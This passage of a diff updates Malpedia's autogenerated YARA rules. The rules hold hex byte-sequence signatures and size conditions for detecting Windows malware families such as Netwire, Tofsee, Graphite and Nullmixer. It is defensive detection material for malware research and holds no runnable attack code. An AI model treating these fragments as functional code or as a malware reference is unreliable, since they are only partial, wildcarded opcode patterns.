MALPEDIA_Win_Nullmixer_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 85f6 0f8ed1000000 894c2418 8b7b68 c1e603 31d2 895c241c } - $sequence_1 = { e9???????? 8b4500 89e9 ff5028 8b442418 8b7c2454 8b5804 } - $sequence_2 = { 89ce 0f8586010000 38d0 0f84b9010000 0fb7442464 8b4c2460 6683f8ff } - $sequence_3 = { 8b45bc 85c0 0f8536020000 807dc001 0f842c020000 8b4520 31c9 } - $sequence_4 = { 83ec08 0fb6442420 8b7c2428 c7042400000000 8b542430 88442407 8b442424 } - $sequence_5 = { e8???????? 8b44243c b925000000 8b10 8b5218 81fa???????? 0f842bffffff } - $sequence_6 = { ff5210 0fbe17 89e9 89c3 8b4500 83ec04 891424 } - $sequence_7 = { e8???????? b902000000 89c6 89c3 f3a6 0f97c0 1c00 } - $sequence_8 = { 0f85baf9ffff 0fb7550c 8d4508 e8???????? 89c3 0fb64610 e9???????? } - $sequence_9 = { 8b842488000000 8b942494000000 8b00 894c2404 8954240c 8b8c2480000000 8b942490000000 } + $sequence_0 = { a2???????? 84c0 7510 e8???????? 3c04 73ce b002 } + $sequence_1 = { 72e5 e8???????? a2???????? 84c0 7510 } + $sequence_2 = { 3c02 72e5 e8???????? a2???????? 84c0 7510 } + $sequence_3 = { 3c04 73ce b002 a2???????? } + $sequence_4 = { 57 56 ff15???????? c6443eff00 83f8ff 7509 56 } + $sequence_5 = { e8???????? 32c0 eb43 be30750000 56 } + $sequence_6 = { e8???????? a2???????? 84c0 7510 e8???????? } + $sequence_7 = { e8???????? 3c04 73ce b002 } + $sequence_8 = { 84c0 7510 e8???????? 3c04 } + $sequence_9 = { 3c02 72e5 e8???????? a2???????? } condition: - 7 of them and filesize < 2351104 + 7 of them and filesize < 622592 } -rule MALPEDIA_Win_Unidentified_105_Auto : FILE +rule MALPEDIA_Win_Waterspout_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "3a3e23fc-74b8-538e-83ea-6f636ca69973" + id = "b586bd54-931a-56de-aa91-0c07bfde94ab" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.unidentified_105" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.unidentified_105_auto.yar#L1-L116" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.waterspout" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.waterspout_auto.yar#L1-L127" license_url = "N/A" - logic_hash = "f4fc15196e62980ff75ec5048526dde4db7767af139fed75b0b1419b85a6dee5" + logic_hash = "d8e2787076e89338cd714382e58eddd7d135aa9f7451f2a43ebcaaaa612febc9" score = 75 quality = 75 tags = "FILE" @@ -144317,32 +144158,32 @@ rule MALPEDIA_Win_Unidentified_105_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { e8???????? 6800100000 8bf0 57 56 } - $sequence_1 = { 6a00 8d8dd0feffff 51 8d95fcfeffff } - $sequence_2 = { e8???????? 8bd8 83c404 53 8bce } - $sequence_3 = { e8???????? 6800002000 8bf8 6a00 57 897df4 } - $sequence_4 = { 8a08 40 84c9 75f9 2bc2 6a02 8d4c30fe } - $sequence_5 = { 85c0 750d 68???????? e8???????? 83c404 8b8df0efffff } - $sequence_6 = { 8b742414 83c404 b9???????? 8bc6 8d642400 } - $sequence_7 = { 8b3d???????? 8d45e4 50 33f6 } - $sequence_8 = { eb13 83f801 750e a1???????? } - $sequence_9 = { 8b85f4efffff 83c40c 6a00 8d8decefffff 51 6800100000 } + $sequence_0 = { 68???????? 56 e8???????? 83c418 84c0 751e 6a01 } + $sequence_1 = { 56 8d4c2420 8802 ff15???????? bf???????? 83c9ff } + $sequence_2 = { 88442424 32c3 50 e8???????? 8a4c2420 8ad3 32d1 } + $sequence_3 = { 83fe01 f3aa 8a842470200000 884500 } + $sequence_4 = { 57 57 50 ff15???????? 85c0 7540 8b0e } + $sequence_5 = { 83c408 8d4c2414 c744241430750000 6a04 51 } + $sequence_6 = { c68424870000008f c684248800000092 c68424890000009d c684248a00000038 c684248b000000f5 c684248c000000bc c684248d000000b6 } + $sequence_7 = { 8bb4240c200000 8d442410 6a00 50 6a00 6a00 6a00 } + $sequence_8 = { 8dbc24ac030000 f3ab 8d442410 8d4c2418 50 8b842490630000 51 } + $sequence_9 = { 33ff 3bdf 897d00 7403 53 ffd6 } condition: - 7 of them and filesize < 253952 + 7 of them and filesize < 98304 } -rule MALPEDIA_Win_Lilith_Auto : FILE +rule MALPEDIA_Win_Gup_Proxy_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "b5f168af-a3f0-50f9-b1ea-d5b831d2999b" + id = "bddfea2f-5980-50a2-824f-c8c992e61d4b" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.lilith" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.lilith_auto.yar#L1-L123" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.gup_proxy" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.gup_proxy_auto.yar#L1-L121" license_url = "N/A" - logic_hash = "24d3c4eccb2438b08f77ee93becbd460d6cfbdd1ec4e6b4842ec58df50e21530" + logic_hash = "a31779681620c829a24a1dd7ede13a209b88a3ec71308cbcd7be1ef7e190536a" score = 75 quality = 75 tags = "FILE" @@ -144356,32 +144197,32 @@ rule MALPEDIA_Win_Lilith_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 81784800374300 7409 ff7048 e8???????? 59 c70701000000 8bcf } - $sequence_1 = { 8b7d08 8bd9 33f6 0f1f00 6a00 } - $sequence_2 = { e8???????? 8d4dd4 e8???????? 83c418 b9???????? 50 e8???????? } - $sequence_3 = { 57 56 ff15???????? ff75a0 8b35???????? ffd6 ff75a4 } - $sequence_4 = { 33c0 663b8880974200 740d 83c002 } - $sequence_5 = { 8d3c85d04a4300 8b0f 85c9 740b 8d4101 f7d8 1bc0 } - $sequence_6 = { 8d4dd4 50 e8???????? 8d4db4 e8???????? } - $sequence_7 = { c7411400000000 6a00 c741140f000000 c7411000000000 68???????? 8801 } - $sequence_8 = { c745fc00000000 0f57c0 6a00 50 } - $sequence_9 = { e8???????? 8b0d???????? e8???????? eb10 ff75dc 8b35???????? ffd6 } + $sequence_0 = { 660f6f05???????? f30f7f854cfaffff 660f6f05???????? f30f7f855cfaffff 660f6f05???????? } + $sequence_1 = { 8bc1 8b4df8 5e 33cd 5b e8???????? 8be5 } + $sequence_2 = { 8b4dfc f7d2 5f 5e 33cd 8bc2 5b } + $sequence_3 = { 8b5d08 8d85e0f5ffff 56 57 8bf1 8995dcf5ffff } + $sequence_4 = { eb83 890cb510974100 013d???????? 8b04b510974100 0500080000 3bc8 } + $sequence_5 = { 8bce e8???????? 6a04 8d8588feffff c78588feffffc22eab48 50 } + $sequence_6 = { c7461000000000 7204 8b06 eb02 8bc6 c60000 837e1410 } + $sequence_7 = { f30f7f45e8 6a50 8bf9 668945e8 } + $sequence_8 = { 88858afeffff 8bc3 c1e808 888589feffff 8d8588feffff } + $sequence_9 = { f30f7f853cffffff 660f6f05???????? f30f7f854cffffff 660f6f05???????? } condition: - 7 of them and filesize < 499712 + 7 of them and filesize < 247808 } -rule MALPEDIA_Win_Stegoloader_Auto : FILE +rule MALPEDIA_Win_Netwire_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "8b6a7b2b-6883-5a49-84ad-5eb99ca2dffd" + id = "4555ab85-e4c7-54f3-be4b-3e67ab290352" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.stegoloader" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.stegoloader_auto.yar#L1-L176" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.netwire" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.netwire_auto.yar#L1-L116" license_url = "N/A" - logic_hash = "0fc5c31b9f64d477e89b80a8b4c8cba676e173d514623e0201d322a0680fd5e3" + logic_hash = "10b18e0d62127105687ce75fd82795cf02980d2ae8e7158e6a2316037cb7d8e4" score = 75 quality = 75 tags = "FILE" @@ -144395,38 +144236,32 @@ rule MALPEDIA_Win_Stegoloader_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 759d 8b043e 0345fc eb03 } - $sequence_1 = { 51 51 8b4514 8b4d18 53 56 57 } - $sequence_2 = { 8d4b01 40 57 894c2414 89442410 8d4c2410 } - $sequence_3 = { 881e 8811 0fb68801010000 0fb69000010000 8a0c01 020c02 8b55fc } - $sequence_4 = { 897dfc 8bf7 3bf7 743a 8bce } - $sequence_5 = { 50 8d45f0 50 53 53 ff75f8 e8???????? } - $sequence_6 = { 8945f0 894dfc 394dfc 753c 394e18 } - $sequence_7 = { 8bd3 e8???????? 03f3 59 8945f4 85c0 } - $sequence_8 = { 2b4c2408 8b542414 8a09 ff442414 48 880a } - $sequence_9 = { 895e04 895e08 895e0c 7611 53 } - $sequence_10 = { ff7108 e8???????? c3 56 8bf1 e8???????? f644240801 } - $sequence_11 = { 49 49 51 ff7004 8b4f04 } - $sequence_12 = { ff442414 48 880a 75e9 eb5b 83e803 eb02 } - $sequence_13 = { 8bf8 33f6 8b1c3e 6a40 83c604 8b043e } - $sequence_14 = { 83ceff 394c240c 7629 57 8b44240c 0fb61401 6a08 } - $sequence_15 = { c645ff00 8bc8 8bc7 f7f1 } + $sequence_0 = { c744241000000000 c744240c00000000 c744240800000000 c744240400000000 c7042410000000 } + $sequence_1 = { c744242c00000000 c744242800000000 c744242400000000 c7442420fdffffff } + $sequence_2 = { e8???????? c7042410000000 e8???????? 84c0 } + $sequence_3 = { e8???????? c7042446000000 e8???????? c7042449000000 e8???????? c7042446000000 e8???????? } + $sequence_4 = { c70424???????? e8???????? a3???????? e9???????? c705????????00000000 e9???????? c7042410020000 } + $sequence_5 = { e8???????? c7442410000000f0 c744240c01000000 c744240800000000 c744240400000000 c70424???????? } + $sequence_6 = { 83ec0c c7442408???????? c7442404???????? c70424???????? } + $sequence_7 = { 740c c7042400000000 e8???????? c70424???????? e8???????? } + $sequence_8 = { c70424???????? e8???????? a3???????? e9???????? c705????????00000000 e9???????? } + $sequence_9 = { e8???????? c7042401000000 e8???????? 84c0 } condition: - 7 of them and filesize < 802816 + 7 of them and filesize < 416768 } -rule MALPEDIA_Win_Milum_Auto : FILE +rule MALPEDIA_Win_Fengine_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "072a5425-70d6-5cbe-aab8-850ca665ab19" + id = "cef733ce-bf96-5266-a850-204ef84184a0" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.milum" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.milum_auto.yar#L1-L134" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.fengine" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.fengine_auto.yar#L1-L120" license_url = "N/A" - logic_hash = "9236edc24d0ffb81128dcba2f9b72495a7a041ad4784e9ea16fcd910b2720b0b" + logic_hash = "507e9d8622f7849f14197935caec762eb3952f2b4dfc87cf038f7351547ec88d" score = 75 quality = 75 tags = "FILE" @@ -144440,32 +144275,32 @@ rule MALPEDIA_Win_Milum_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 0f85c1000000 8b7608 385e44 751c c6424401 c6464401 8b5104 } - $sequence_1 = { 53 8d9424bc000000 c741140f000000 895910 52 8819 e8???????? } - $sequence_2 = { 89a570feffff 6aff 53 8d5508 897114 895910 52 } - $sequence_3 = { 8b4214 2b4644 8b5218 8945e4 03c1 3bc2 7605 } - $sequence_4 = { 8b5604 52 c645fc06 e8???????? bf10000000 eb1b bf10000000 } - $sequence_5 = { 895e18 885e08 8b4df4 64890d00000000 59 5e 5b } - $sequence_6 = { 50 ba???????? e8???????? 8b850cfcffff a804 7414 8d4dc8 } - $sequence_7 = { 7e16 8b4d08 8b55d8 c741180d000000 89511c 83791800 7509 } - $sequence_8 = { c645fc17 50 8d4dc8 e8???????? c645fc03 8d8d04ffffff e8???????? } - $sequence_9 = { c745e000000000 c645d000 397e14 7314 8b4610 40 50 } + $sequence_0 = { ff15???????? 85c0 0f84c5020000 68???????? 53 e8???????? } + $sequence_1 = { 57 ff32 ff15???????? f7d8 1bc0 5e } + $sequence_2 = { 57 8d8decefffff 51 50 8d85fcf7ffff 50 } + $sequence_3 = { 50 e8???????? 8d5590 83c40c 8d4a01 8d642400 } + $sequence_4 = { c705????????01000000 e8???????? 48 f7d8 } + $sequence_5 = { 833d????????00 53 57 8bda 8bf9 7511 } + $sequence_6 = { 8b3e 83c328 0fb74706 8955e0 894ddc 3945f8 0f8c5affffff } + $sequence_7 = { 8d85f0efffff 50 53 ff15???????? 85c0 } + $sequence_8 = { 7410 8b4c3012 03c8 8d4616 } + $sequence_9 = { 3b45e4 7740 8d45ec 50 8b45e8 51 } condition: - 7 of them and filesize < 1076224 + 7 of them and filesize < 210944 } -rule MALPEDIA_Win_New_Ct_Auto : FILE +rule MALPEDIA_Win_Bert_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "df99256a-ac37-54eb-b09f-1730ead584e4" + id = "92a36b55-e0d9-554d-851b-77dda3f7bbeb" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.new_ct" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.new_ct_auto.yar#L1-L125" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.bert" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.bert_auto.yar#L1-L117" license_url = "N/A" - logic_hash = "9eac271e285948f56968d4730b1030e87fbe78a87c978d4507ea0ec6208dc34d" + logic_hash = "a6e868967ddeea2e01bd4f16c21024fbdee2d69c00cbdbbbdfda193aebc93a0a" score = 75 quality = 75 tags = "FILE" @@ -144479,32 +144314,32 @@ rule MALPEDIA_Win_New_Ct_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 7428 a1???????? 8d8c2478020000 50 68???????? 68???????? } - $sequence_1 = { 83fe06 0f8f1f010000 83fe03 0f8e16010000 8b4508 803805 0f850a010000 } - $sequence_2 = { 81ec00040000 53 56 6888030000 33db } - $sequence_3 = { 8b8680030000 8d542414 52 03c7 6800400000 50 53 } - $sequence_4 = { 68???????? 8bce e8???????? 89b5b0f3ffff 89b5b4f3ffff 85f6 7410 } - $sequence_5 = { 8944242c 8d542430 89442430 51 89442438 52 89442440 } - $sequence_6 = { 50 68???????? 6a10 68???????? ffd3 } - $sequence_7 = { f3a4 8dbdccfdffff 83c9ff 33c0 f2ae f7d1 49 } - $sequence_8 = { 8b5508 8b420c 85c0 740f 8985c8f6ffff 50 } - $sequence_9 = { f3a4 b900010000 8dbc2470020000 f3ab } + $sequence_0 = { ffd0 488945e8 488b45e8 488945e0 } + $sequence_1 = { 0fb74006 0fb7c0 3945f4 0f8c5efeffff 488b45b8 } + $sequence_2 = { e8???????? 488945f8 488b45f8 4889c1 e8???????? 488945c8 } + $sequence_3 = { 488b8558ffffff 4889c1 488b05???????? ffd0 } + $sequence_4 = { c745f000000000 e9???????? 8b45f0 4863d0 4889d0 48c1e002 } + $sequence_5 = { 48898570ffffff 8b45d0 4863d0 4889d0 48c1e002 4801d0 } + $sequence_6 = { 4883ec10 48894d10 48895518 488b4510 488945f8 488b4518 } + $sequence_7 = { 488945d8 488b45d8 480508010000 488945d0 48c745f800000000 } + $sequence_8 = { 4801d0 8b4008 89c1 488d9524ffffff } + $sequence_9 = { 48c1e810 0fb7c0 4801c2 488b8578ffffff 488910 eb21 488b8578ffffff } condition: - 7 of them and filesize < 122880 + 7 of them and filesize < 50176 } -rule MALPEDIA_Win_Lethic_Auto : FILE +rule MALPEDIA_Win_Graphite_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "3babd57d-d49b-5fd8-b851-cfcf000e34be" + id = "22d6771d-6e02-5bad-92aa-7abf2f0540bc" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.lethic" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.lethic_auto.yar#L1-L124" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.graphite" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.graphite_auto.yar#L1-L109" license_url = "N/A" - logic_hash = "b68d77c1a72e1fca1c5c9d72302fcacf09ed698f69d0c7903522cd1a657700c5" + logic_hash = "fac8314c02add0a1a3fcfc7bc6cd359f12eb58a8246911250bf475b51a803e3f" score = 75 quality = 75 tags = "FILE" @@ -144518,32 +144353,32 @@ rule MALPEDIA_Win_Lethic_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 8b550c 8955f8 8b45f8 034510 8945f4 } - $sequence_1 = { c7823410000001000000 6a10 8b450c 50 8b4dfc 83c108 51 } - $sequence_2 = { 8945fc 8b4dfc 894df0 8b550c } - $sequence_3 = { ffd1 33c0 eb42 6a10 } - $sequence_4 = { 8b08 890a 8b55fc 8b02 8945fc 8b4df4 51 } - $sequence_5 = { 8b55fc 83c208 52 8b45fc 8b4818 51 } - $sequence_6 = { 33c0 e9???????? 8b45fc 8b4d10 894804 8b55fc c7823410000001000000 } - $sequence_7 = { 890a 8b55fc 8b02 8945fc 8b4df4 51 8b55f8 } - $sequence_8 = { 894df8 8b55fc 3b55f8 7411 8b45fc c60000 } - $sequence_9 = { 8b55fc c7823410000001000000 6a10 8b450c 50 8b4dfc 83c108 } + $sequence_0 = { 85db 7513 33d2 e8???????? 84c0 } + $sequence_1 = { 7513 33d2 e8???????? 84c0 } + $sequence_2 = { 81e2ff030000 81e1bf030000 83c940 c1e10a } + $sequence_3 = { 81e2ff030000 81e1bf030000 83c940 c1e10a 0bca } + $sequence_4 = { 85db 7513 33d2 e8???????? } + $sequence_5 = { 81e1bf030000 83c940 c1e10a 0bca } + $sequence_6 = { 85db 7513 33d2 e8???????? 84c0 74e4 } + $sequence_7 = { 7513 33d2 e8???????? 84c0 74e4 } + $sequence_8 = { 33d2 e8???????? 84c0 74e4 } + $sequence_9 = { ff15???????? 33c0 eb05 b801010000 } condition: - 7 of them and filesize < 81920 + 7 of them and filesize < 98304 } -rule MALPEDIA_Win_Devopt_Auto : FILE +rule MALPEDIA_Win_Obscene_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "c196c87a-940f-5170-bdeb-5480f0772987" + id = "de7d43f1-261f-57f6-aed2-154950ae43ae" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.devopt" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.devopt_auto.yar#L1-L134" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.obscene" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.obscene_auto.yar#L1-L124" license_url = "N/A" - logic_hash = "d44283c361e67f2f245bfc24e6c20517af3480cb8098b2e4e26bd4743afb76d5" + logic_hash = "69b57f278cfe3402f37b22931c479ec832951485342c04942f09cb1c1b23263c" score = 75 quality = 75 tags = "FILE" @@ -144557,32 +144392,32 @@ rule MALPEDIA_Win_Devopt_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { eb47 8b45fc 0fb6809e030000 50 8b45fc 8a889d030000 8b45fc } - $sequence_1 = { ff15???????? 8b45f4 8d4060 50 6863090000 6a00 6a09 } - $sequence_2 = { eb0f 8b45fc 8b4050 8b55fc 8b4dfc ff514c 89ec } - $sequence_3 = { f77dac 0fb755cc 8d0410 66894588 0fb745c6 0fb755ce 29d0 } - $sequence_4 = { eb36 807dd8b3 7530 0fb645d4 2d80000000 83f824 7322 } - $sequence_5 = { ff526c 8845f0 660fb645f0 66250100 66a9ffff 7502 eb09 } - $sequence_6 = { eb2a 6a00 8d45e8 50 66b90000 66ba0000 66b80000 } - $sequence_7 = { eb46 8b45fc 8b4034 8b55fc 8b4dfc 8b4934 ff91fc000000 } - $sequence_8 = { e8???????? 8d7600 b801000000 89f1 d3e0 8d50ff 21da } - $sequence_9 = { ff75c0 8b4dbc 8b55c4 8d45ec e8???????? 84c0 7509 } + $sequence_0 = { 68???????? 6a00 6a00 ff15???????? eb09 } + $sequence_1 = { ff75f0 ff15???????? 50 68c03d1010 e8???????? } + $sequence_2 = { 0fbe00 83f830 7c0b 8b45f8 } + $sequence_3 = { 6828431010 68e4401010 e8???????? 59 59 682c431010 } + $sequence_4 = { 6a06 68???????? ff35???????? 6aff ff15???????? 68???????? } + $sequence_5 = { eb61 68???????? 68???????? 68???????? e8???????? 83c40c 68???????? } + $sequence_6 = { ff750c e8???????? 59 3da0bb0d00 733e ff75fc 6800080000 } + $sequence_7 = { 59 ff7508 6860ad0010 e8???????? 59 59 68bc501010 } + $sequence_8 = { c605????????68 c705????????d15aaa00 c605????????c3 8d45fc 50 6a06 } + $sequence_9 = { 55 8bec 81ec04080000 68???????? ff750c e8???????? 59 } condition: - 7 of them and filesize < 4645888 + 7 of them and filesize < 2170880 } -rule MALPEDIA_Win_Rook_Auto : FILE +rule MALPEDIA_Win_Tofsee_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "260fb3cd-c612-5c83-b4f7-79756559f934" + id = "5ec9c841-1425-53ec-b84c-3ac0dbb9536e" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.rook" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.rook_auto.yar#L1-L128" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.tofsee" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.tofsee_auto.yar#L1-L130" license_url = "N/A" - logic_hash = "c73a208061affa8ef6930cc993d1e8f8eb5228d371bb421012877d9aae5cbf16" + logic_hash = "a6df759b6d2a0e48c553f18c939a733af072972aeea2dd4dbecf6d38d79b3015" score = 75 quality = 75 tags = "FILE" @@ -144596,32 +144431,32 @@ rule MALPEDIA_Win_Rook_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { ffc3 4883c708 83fb22 72df 498bd6 488bcd ff15???????? } - $sequence_1 = { 0f8521ffffff 44882b eb7b 488b9540070000 4c8d05979e0000 498bce } - $sequence_2 = { 33d2 ff15???????? 488b0d???????? 4d8bc7 33d2 ff15???????? 833d????????00 } - $sequence_3 = { ff15???????? 488bce e8???????? 488d542440 488bcd ff15???????? 85c0 } - $sequence_4 = { 4883ec38 488d05f5990000 41b91b000000 4889442420 e8???????? 4883c438 c3 } - $sequence_5 = { 498bd6 4d8d8115cc0400 4d03c4 0f1f4000 410fb64410ff 3cff 740b } - $sequence_6 = { c605????????63 4c8d250099ffff b8ff000000 4d8d4901 } - $sequence_7 = { 498bcd 4c89bc2458270000 ff15???????? 488b0d???????? 4d8bc5 33d2 4c8be0 } - $sequence_8 = { 8bd9 4c8d0dddce0000 b904000000 4c8d05c9ce0000 488d15b2bb0000 e8???????? } - $sequence_9 = { 4863c8 4c8d4c2450 48894c2420 e8???????? 488d4c2450 ff15???????? } + $sequence_0 = { 6864006400 ff7510 ff15???????? 85c0 7404 } + $sequence_1 = { 5e c3 55 8bec 83ec14 8365f400 8365f800 } + $sequence_2 = { 57 8d8580fbffff eb68 03d8 81fbf4010000 0f8f92000000 } + $sequence_3 = { 85c9 8816 7ff0 017dfc eb13 8b45ec } + $sequence_4 = { 51 50 53 e8???????? 8b4c241c 8b413c 56 } + $sequence_5 = { ff75fc e8???????? 83c40c 56 ff75f8 8d45d4 6a03 } + $sequence_6 = { 8b4e10 85c9 7412 33d2 f7f1 894df8 8945fc } + $sequence_7 = { e9???????? 68???????? ff7514 e8???????? 59 59 83fb05 } + $sequence_8 = { 391e 895dbc 8975f4 7e7f 83c608 bf???????? 8b46fc } + $sequence_9 = { 0f8498000000 8b4510 8938 8b450c 8d4801 8a10 40 } condition: - 7 of them and filesize < 843776 + 7 of them and filesize < 147456 } -rule MALPEDIA_Win_Ascentloader_Auto : FILE +rule MALPEDIA_Win_Ehdevel_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "4372eef6-4656-5e4d-b175-471d65d2d6f2" + id = "a1927287-a7a0-56db-9215-479d35c403c1" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.ascentloader" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.ascentloader_auto.yar#L1-L115" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.ehdevel" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.ehdevel_auto.yar#L1-L130" license_url = "N/A" - logic_hash = "3968524e74d1c6dce6af2edd09bc8b40e402c007d240f6b355af76ae453cb02a" + logic_hash = "684d7241cee866804960efb3b0b6928989858b77ba794c784761214d04fdf763" score = 75 quality = 75 tags = "FILE" @@ -144635,32 +144470,32 @@ rule MALPEDIA_Win_Ascentloader_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { b8???????? eb0a b900240000 b8???????? } - $sequence_1 = { 8b4df4 e8???????? 57 ff15???????? ff15???????? } - $sequence_2 = { 8bf8 897dd8 85ff 7516 83c8ff e9???????? c745e440ac4100 } - $sequence_3 = { 740b 8b55e8 8b4dfc e8???????? 8b4dfc } - $sequence_4 = { 8955fc 83b88400000000 0f86ea000000 56 8bb080000000 } - $sequence_5 = { c744243a62756700 ff15???????? 8b35???????? ffd6 } - $sequence_6 = { 57 68000000f0 6a01 33db 894de8 53 } - $sequence_7 = { 3b4814 7604 33c0 eb14 8b45fc 8b4df8 03481c } - $sequence_8 = { e8???????? 8b4d10 8bd0 8b4514 } - $sequence_9 = { 005caa40 0023 d18a0688078a 46 } + $sequence_0 = { 33c5 8945fc 57 8bf9 8d85ece7ffff 50 8d8dfcf7ffff } + $sequence_1 = { 85c0 7524 a1???????? a3???????? a1???????? c705????????d22f0110 8935???????? } + $sequence_2 = { 51 e8???????? 83c40c 56 8d95e8fbffff 6804010000 } + $sequence_3 = { 8b3d???????? c60301 ffd7 56 ff15???????? 56 ffd7 } + $sequence_4 = { 8985e8f7ffff 897e10 897e14 c645fc03 399d94f7ffff 720f 8b8d80f7ffff } + $sequence_5 = { 8d8dfcf7ffff 51 e8???????? 83c410 84c0 7502 32db } + $sequence_6 = { 8b8dd48bffff 6a00 6880000000 6a04 6a00 6a00 6a04 } + $sequence_7 = { eb19 8b4c2414 8b4904 8b440c4c 8d4c0c14 f7d8 } + $sequence_8 = { 33d2 8955fc 3bca 7458 33f6 52 c7411407000000 } + $sequence_9 = { c745f463006f00 c745f86d000000 e8???????? 3c01 7441 } condition: - 7 of them and filesize < 253952 + 7 of them and filesize < 524288 } -rule MALPEDIA_Win_Industrial_Spy_Auto : FILE +rule MALPEDIA_Win_Transferloader_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "49532f61-1558-5e03-9771-9daa1443f81c" + id = "6881fadd-235e-58e1-86ed-39c1ca8da641" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.industrial_spy" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.industrial_spy_auto.yar#L1-L128" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.transferloader" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.transferloader_auto.yar#L1-L121" license_url = "N/A" - logic_hash = "09d68278c920c888a9a9161c0ac726f167f616f36cff9042eab3321dfe0c396f" + logic_hash = "c6b3fd0089b61d2c316b9ea19bd98256a6361edd3a6f033006f4e490787182fc" score = 75 quality = 75 tags = "FILE" @@ -144674,32 +144509,32 @@ rule MALPEDIA_Win_Industrial_Spy_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 03c8 43890c26 3bc8 7302 ffc7 037c242c } - 